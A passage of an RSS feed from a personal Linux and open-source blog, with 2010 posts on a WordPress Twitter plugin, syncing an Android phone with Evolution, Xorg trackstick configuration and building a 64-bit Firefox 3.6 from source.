		<description><![CDATA[Ben Morrow contacted me some time ago asking me to look into some problems he had with my AJAXed Twitter plugin for WordPress. AJAXed Twitter was never meant to be used with more than one account, so his request was not a bug, but a design flaw. Yesterday I took the chance and completely rewrote [...]]]></description>
			<content:encoded><![CDATA[<p>Ben Morrow contacted me some time ago asking me to look into some problems he had with my <a href="http://derhofbauer.at/blog/ajaxed-twitter-plugin-for-wordpress/">AJAXed Twitter</a> plugin for WordPress.</p>
<p>AJAXed Twitter was never meant to be used with more than one account, so his request was not a bug, but a design flaw. Yesterday I took the chance and completely rewrote the plugin part, using WordPress&#8217; great 2.8 API (piece of cake!).</p>
<p>Be sure to <a href="http://wordpress.org/extend/plugins/ajaxed-twitter-for-wordpress/">check it out</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/multiple-twitters/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Well, some sync today</title>
		<link>http://derhofbauer.at/blog/well-some-sync-today/</link>
		<comments>http://derhofbauer.at/blog/well-some-sync-today/#comments</comments>
		<pubDate>Thu, 27 May 2010 23:37:18 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Gnome]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[GCALDaemon]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=121</guid>
		<description><![CDATA[After getting an Android phone and blogging about it&#8217;s lack of synchronisation options in Gnome I was finally able to make some progress. The answer is GCALDaemon which can read Evolution&#8217;s .ics-files (even the locally cached ones from my university) and copy the events within to Google Calendar. Combining it with my Notification Server you [...]]]></description>
			<content:encoded><![CDATA[<p>After getting an Android phone and <a href="http://derhofbauer.at/blog/android-no-sync-today/">blogging about it&#8217;s lack of synchronisation</a> options in Gnome I was finally able to make some progress.</p>
<p>The answer is <a href="http://gcaldaemon.sourceforge.net"><strong>GCALDaemon</strong></a> which can read Evolution&#8217;s .ics-files (even the locally cached ones from my university) and copy the events within to Google Calendar.</p>
<p>Combining it with my <a href="http://derhofbauer.at/blog/a-notification-server-in-python/">Notification Server</a> you can use &#8220;bin/sync-now.sh&#8221; in a script and even get a nice notification after running it (for example a few minutes after logging in).</p>
<p>Not the best solution (I&#8217;d rather skip one step and write directly to my Legend), but usable nevertheless.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/well-some-sync-today/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Android &#8211; No sync today&#8230;</title>
		<link>http://derhofbauer.at/blog/android-no-sync-today/</link>
		<comments>http://derhofbauer.at/blog/android-no-sync-today/#comments</comments>
		<pubDate>Wed, 26 May 2010 09:14:43 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Android]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=118</guid>
		<description><![CDATA[Yesterday I got my first phone with Android, the HTC Legend. While I really love it so far, there is one big issue, that turned out to be a complete mess in Linux: Syncing it with Evolution. Apparently there are no solutions at all that allow you to conveniently plug in the phone and push [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I got my first phone with Android, the HTC Legend. While I really love it so far, there is one big issue, that turned out to be a complete mess in Linux: Syncing it with Evolution.</p>
<p>Apparently there are <strong>no solutions</strong> at all that allow you to conveniently plug in the phone and push calendar events, contacts or notes.</p>
<p>After following some traces here&#8217;s my disappointed summary:</p>
<h3>OpenSync</h3>
<p>Complete mess in Debian (maybe Ubuntu as well). After checking out all the repositories and building libopensync1 from svn still no clue how to use it with Evolution.</p>
<h3>SyncML</h3>
<p>Android doesn&#8217;t understand it out of the box.<br />
Funambol doesn&#8217;t sync anything besides contacts.<br />
Synthesis costs money, but can be evaluated 30 days. Once I get a SyncML running here, I could give it a try.</p>
<h3>HTC Sync</h3>
<p>No idea which protocol it uses, but I can&#8217;t get SynCE for OpenSync (for blind trial and error) working here anyway. Some obscure python errors in OpenSync to blame.</p>
<p>&nbsp;</p>
<p><em>Help, I need somebody, help&#8230;</em></p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/android-no-sync-today/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Xorg and HAL (2)</title>
		<link>http://derhofbauer.at/blog/xorg-and-hal-2/</link>
		<comments>http://derhofbauer.at/blog/xorg-and-hal-2/#comments</comments>
		<pubDate>Tue, 30 Mar 2010 15:29:56 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[HAL]]></category>
		<category><![CDATA[udev]]></category>
		<category><![CDATA[Xorg]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=109</guid>
		<description><![CDATA[As already mentioned in &#8220;Xorg and HAL&#8221; X-land is in state of &#8220;complete&#8221; redesign. Today I read at Phoronix that Intel released their driver update 2.11.0. Curious as I tend to be I had to compile Xorg, Mesa and the driver once again to take a look at what&#8217;s going on myself. Because support for [...]]]></description>
			<content:encoded><![CDATA[<p>As already mentioned in &#8220;<a href="http://derhofbauer.at/blog/xorg-and-hal/">Xorg and HAL</a>&#8221; X-land is in state of &#8220;complete&#8221; redesign.</p>
<p>Today I read at <a href="http://www.phoronix.com/scan.php?page=news_item&amp;px=ODExMQ">Phoronix</a> that Intel released their driver update 2.11.0. Curious as I tend to be I had to compile Xorg, Mesa and the driver once again to take a look at what&#8217;s going on myself.</p>
<p>Because support for setting properties via udev seems to have gone in favour of the shiny new &#8220;conf.d&#8221; features, my old post is definitely outdated.</p>
<p>Not that big of a deal though, to configure your touchpad/-stick you now have to create InputClass-Sections in *.conf-files in &#8220;/etc/X11/xorg.conf.d/&#8221; (99-trackstick.conf in this example).</p>
<div class="code">
<pre>Section "InputClass"
	Identifier			"dualpointstick"
	MatchProduct			"DualPoint Stick"

	Option "ButtonMapping"		"3 2 1 4 5"
	Option "EmulateWheel"		"true"
	Option "EmulateWheelButton"	"2"
	Option "EmulateWheelTimeout"	"400"
	Option "YAxisMapping"		"4 5"
EndSection</pre>
</div>
<p>By the way: Subsequent rules seem to be overwritten, so copying &#8220;/usr/lib/X11/xorg.conf.d/05-evdev.conf&#8221; makes sure &#8220;normal&#8221; input devices use the evdev driver.</p>
<p>Ah, in case you might have wondered: Yes, contrary to mice I use touchpads and tracksticks with my left hand. Which other OS would allow me to configure input devices like that?</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/xorg-and-hal-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AJAXed Twitter Plugin for WordPress</title>
		<link>http://derhofbauer.at/blog/ajaxed-twitter-plugin-for-wordpress/</link>
		<comments>http://derhofbauer.at/blog/ajaxed-twitter-plugin-for-wordpress/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 11:34:16 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[Plugin]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=63</guid>
		<description><![CDATA[Ricardo González wrote a nice plugin for WordPress that displays the public timeline of a twitter account in your WordPress theme. Though the plugin works I found two major problems: Sometimes Twitter doesn&#8217;t provide the timeline at first request. Embedding it in your theme significantly slows down loading of the blog. I came up with [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://rick.jinlabs.com">Ricardo González</a> wrote a nice <a href="http://rick.jinlabs.com/code/twitter/">plugin for WordPress</a> that displays the public timeline of a twitter account in your WordPress theme.</p>
<p>Though the plugin works I found two major problems:</p>
<ul>
<li>Sometimes Twitter doesn&#8217;t provide the timeline at first request.</li>
<li>Embedding it in your theme significantly slows down loading of the blog.</li>
</ul>
<p>I came up with a solution to both of them (featuring MooTools or jQuery support) using XMLHttpRequest.</p>
<p>Basically all it does is wait until the page is loaded and then request the tweets. If Twitter decides not to provide the timeline, the request is sent again until a configurable number of retries is reached.</p>
<p>There are two ways to use this plugin:</p>
<ol>
<li>Configure it manually (see how-to below)</li>
<li>Use it as a widget (version two and above)</li>
</ol>
<p>If you use it as widget, simply use the management functionality for widgets provided by WordPress. Otherwise (if your theme doesn&#8217;t support widgets for example) you can set also it up manually as I did on this blog (because I use MooTools here).<br />
<span id="more-63"></span></p>
<h3>Plugin setup:</h3>
<p>Provide a PHP-script (e.g. twitter.php in your theme folder), which can be loaded by the request:</p>
<div class="code">
<pre>if (!defined('DB_NAME')) {
	require_once("../../../wp-config.php");
}

echo AJAXedTwitter::messages(array(
	'username' => 'username'
));</pre>
</div>
<p>You can see I modified the original plugin to use an array instead of parameters (I hate functions that require more than 3 parameters).</p>
<p>Parameters for AJAXedTwitter::messages are:</p>
<table cellspacing="3">
<tr>
<th>Option</th>
<th>Default</th>
<th>Description</th>
</tr>
<tr class="even">
<td>username</td>
<td>empty</td>
<td>the twitter username</td>
</tr>
<tr>
<td>num</td>
<td>5</td>
<td>number of tweets to show (limited to 20 by Twitter)</td>
</tr>
<tr class="even">
<td>list</td>
<td>true</td>
<td>show tweets in a unordered list</td>
</tr>
<tr>
<td>update</td>
<td>true</td>
<td>true show a relative timestamp</td>
</tr>
<tr class="even">
<td>linked</td>
<td>#</td>
<td>options for hyperlinks (see original plugin docs)</td>
</tr>
<tr>
<td>hyperlinks</td>
<td>true</td>
<td>true convert URLs to links</td>
</tr>
<tr class="even">
<td>twitter-users</td>
<td>true</td>
<td>show @username replies as links</td>
</tr>
<tr>
<td>encode-utf8</td>
<td>false</td>
<td>turn it on if you have encoding problems</td>
</tr>
<tr class="even">
<td>cache-age</td>
<td>1800 (half an hour)</td>
<td>expiry of the cached feed (tweets) in seconds, <code>-1</code> to disable</td>
</tr>
</table>
<h3>JavaScript-Setup:</h3>
<p>You have to tell the plugin which JS file to include (this should be done in wp_config.php):</p>
<div class="code">
<pre>define('AJAXED_TWITTER_FRAMEWORK', 'mootools');</pre>
</div>
<p>In this example the plugin will enqueue the twitter class for MooTools. If you don&#8217;t want to use it, you can also define <code>AJAXED_TWITTER_FRAMEWORK</code> to <code>false</code> and include our own scripts. The default value is <code>jquery</code>. It&#8217;s also possible to include both scripts (using &#8216;both&#8217;).</p>
<p>Please note that using the provided Twitter-class you have to <em>add MooTools to your theme&#8217;s header before <code>wp_head();</code></em>.</p>
<p>Then, below <code>wp_head();</code> add a script tag where you configure the twitter part:</p>
<div class="code">
<pre>var twitter = new Twitter('myTweets', {
&nbsp;&nbsp;url: '&lt;?php bloginfo('stylesheet_directory'); ?&gt;/twitter.php',
&nbsp;&nbsp;retries: 2,
&nbsp;&nbsp;animate: true
});
</pre>
</div>
<p>The above JS-code will automatically replace the element &#8220;myTweets&#8221; with your public timeline (or the error message if it runs out of retries) by loading the file twitter.php in your theme&#8217;s folder (see the PHP code?).</p>
<p>Possible options to the constructor are:</p>
<table cellspacing="3">
<tr>
<th>Option</th>
<th>Default</th>
<th>Description</th>
</tr>
<tr class="even">
<td>url</td>
<td>null</td>
<td>the page to call, e.g. &#8220;/blog/wp-content/themes/derhofbauer/twitter.php&#8221;</td>
</tr>
<tr>
<td>retries</td>
<td>0</td>
<td>number of retries if first request fails</td>
</tr>
<tr class="even">
<td>animate</td>
<td>false</td>
<td>if true, tweets will be faded in</td>
</tr>
<tr>
<td>autostart</td>
<td>true</td>
<td>if false, you will have to trigger the first request using <code>twitter.request.send();</code></td>
</tr>
</table>
<h3>CSS classes:</h3>
<table cellspacing="3">
<tr>
<th>Class</th>
<th>Description</th>
</tr>
<tr class="even">
<td>twitter</td>
<td>the main list containing the tweets</td>
</tr>
<tr class="odd">
<td>twitter-item</td>
<td>list items (each tweet as li)</td>
</tr>
<tr class="even">
<td>first</td>
<td>the first list item</td>
</tr>
<tr class="odd">
<td>last</td>
<td>the last list item</td>
</tr>
<tr class="even">
<td>twitter-message</td>
<td>if not displaying as list and more than one tweets available, every tweet is put into a paragraph having this class</td>
</tr>
<tr class="odd">
<td>twitter-timestamp</td>
<td>spans containing the timestamp</td>
</tr>
<tr class="even">
<td>twitter-link</td>
<td>every detected link in the tweets</td>
</tr>
<tr class="odd">
<td>twitter-user</td>
<td>linked @replies</td>
</tr>
<tr class="even">
<td>twitter-error</td>
<td>displayed in case there was an error</td>
</tr>
</table>
<h3>Download:</h3>
<p><a href='http://derhofbauer.at/blog/wp-content/uploads/2010/01/ajaxed-twitter-for-wordpress-0.5.zip'>AJAXed Twitter for WordPress 0.5</a></p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/ajaxed-twitter-plugin-for-wordpress/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Your own 64-Bit-build of Firefox</title>
		<link>http://derhofbauer.at/blog/your-own-64-bit-build-of-firefox/</link>
		<comments>http://derhofbauer.at/blog/your-own-64-bit-build-of-firefox/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 23:37:55 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[64 Bit]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[mozconfig]]></category>

		<guid isPermaLink="false">http://derhofbauer.at/blog/?p=40</guid>
		<description><![CDATA[With all that Firefox 3.6 news lately, you might have asked yourself where to get it for your 64 Bit system, because though the nightly builds also include x86_64 (to make sure developers don&#8217;t break anything), official releases &#8211; like latest 3.6 release &#8211; don&#8217;t. Here&#8217;s what I do: Download the sources (you could also [...]]]></description>
			<content:encoded><![CDATA[<p>With all that Firefox 3.6 news lately, you might have asked yourself where to get it for your 64 Bit system, because though the <a href="ftp://ftp.mozilla.org/pub/firefox/nightly/">nightly builds</a> also include x86_64 (to make sure developers don&#8217;t break anything), official releases &#8211; like <a href="ftp://ftp.mozilla.org/pub/firefox/releases/3.6/">latest 3.6 release</a> &#8211; don&#8217;t.</p>
<p>Here&#8217;s what I do: <span id="more-40"></span></p>
<ol>
<li>Download <a href="ftp://ftp.mozilla.org/pub/firefox/releases/3.6/source/firefox-3.6.source.tar.bz2">the sources</a> (you could also checkout the repository)</li>
<li><code>apt-get build-dep iceweasel</code></li>
<li>Unpack the sources</li>
<li>If you want to include a language, e.g. German, execute:<br /><code>hg clone http://hg.mozilla.org/l10n-central/de</code></li>
</ol>
<p>You should now have the sources directory (in mozilla-1.9.2/) and the release version of your preferred localization (in de/). These steps were pretty straight forward, but what really matters is your build-script.</p>
<p>Just building the sources doesn&#8217;t suffice, at least for a Gnome user, so here&#8217;s my &#8220;.mozconfig&#8221;-file:</p>
<div class="code">
<pre>export LDFLAGS="-lgcov -static-libgcc"
mk_add_options MOZ_CO_PROJECT=browser
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/ff-opt
ac_add_options --enable-update-packaging
ac_add_options --enable-update-channel=release
ac_add_options --prefix=/opt/firefox
ac_add_options --enable-64bit
ac_add_options --enable-application=browser
ac_add_options --enable-optimize
ac_add_options --enable-default-toolkit=cairo-gtk2
ac_add_options --enable-system-cairo
ac_add_options --enable-strip
ac_add_options --enable-svg-renderer=cairo
ac_add_options --enable-canvas
ac_add_options --enable-official-branding
ac_add_options --enable-xinerama
ac_add_options --enable-crypto
ac_add_options --disable-tests
ac_add_options --disable-gtktest
ac_add_options --disable-debug
ac_add_options --disable-accessibility
ac_add_options --disable-installer
ac_add_options --disable-crashreporter
ac_add_options --with-java-include-path=/usr/lib/jvm/java-6-openjdk/include/
ac_add_options --with-java-bin-path=/usr/lib/jvm/java-6-openjdk/bin
ac_add_options --with-system-zlib
ac_add_options --with-system-jpeg
mk_add_options MOZ_CO_LOCALES=de
ac_add_options --enable-ui-locale=de
ac_add_options --with-l10n-base=../../</pre>
</div>
<p>The last three lines should be changed according to the language used or commented if you want to build en_US only.<br />
Save the above code to a file and link it to &#8220;mozilla-1.9.2/.mozconfig&#8221; (or create that file, doesn&#8217;t matter).</p>
<p>Finally, to compile the sources and build them change into mozilla-1.9.2 and execute:</p>
<div class="code">
<pre>make -f client.mk build
make -C ff-opt/browser/installer</pre>
</div>
<p>You will find the distributable Firefox package, &#8220;firefox-3.6.de.linux-x86_64.tar.bz2&#8243;, in &#8220;ff-opt/dist&#8221;.</p>
<p>I&#8217;d advise to extract, rename it to &#8220;firefox-3.6&#8243;, move that folder to /opt and symlink it to &#8220;/opt/firefox&#8221;.<br />
This will enable you to always use &#8220;/opt/firefox/firefox&#8221;, no matter what version (for a symlink to &#8220;/usr/local/bin/firefox&#8221; for example).</p>
<p>Leave a comment if you&#8217;ve got any additional tipps.</p>
]]></content:encoded>
			<wfw:commentRss>http://derhofbauer.at/blog/your-own-64-bit-build-of-firefox/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

